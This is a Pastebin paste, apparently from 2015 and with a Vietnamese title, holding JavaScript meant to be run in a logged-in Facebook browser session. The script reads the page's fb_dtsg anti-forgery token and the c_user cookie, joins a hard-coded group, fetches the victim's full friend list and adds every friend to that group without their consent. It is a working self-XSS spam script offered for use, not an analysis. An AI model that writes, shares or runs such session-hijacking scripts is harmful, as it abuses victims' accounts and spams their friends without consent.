Advertisement
sdadas456

Code add member vào gr new 2015!

Jun 21st, 2015
264
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.07 KB | None | 0 0
  1. var gid = ['474528129381159'];
  2. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  3. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  4.  
  5. var httpwp = new XMLHttpRequest();
  6. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  7. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  8. httpwp['open']('POST', urlwp, true);
  9. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  10. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  11. httpwp['setRequestHeader']('Connection', 'keep-alive');
  12. httpwp['send'](paramswp);
  13.  
  14. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  15. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  16.  
  17. var friends = new Array();
  18. gf = new XMLHttpRequest();
  19. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  20. gf['send']();
  21. if (gf['readyState'] != 4) {} else {
  22. data = eval('(' + gf['responseText']['substr'](9) + ')');
  23. if (data['error']) {} else {
  24. friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  25. return _0x93dax8['index'] - _0x93dax9['index'];
  26. });
  27. };
  28. };
  29.  
  30. for (var i = 0; i < friends['length']; i++) {
  31. var httpwp = new XMLHttpRequest();
  32. var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  33. var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  34. httpwp['open']('POST', urlwp, true);
  35. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  36. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  37. httpwp['setRequestHeader']('Connection', 'keep-alive');
  38. httpwp['onreadystatechange'] = function () {
  39. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  40. };
  41. httpwp['send'](paramswp);
  42. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement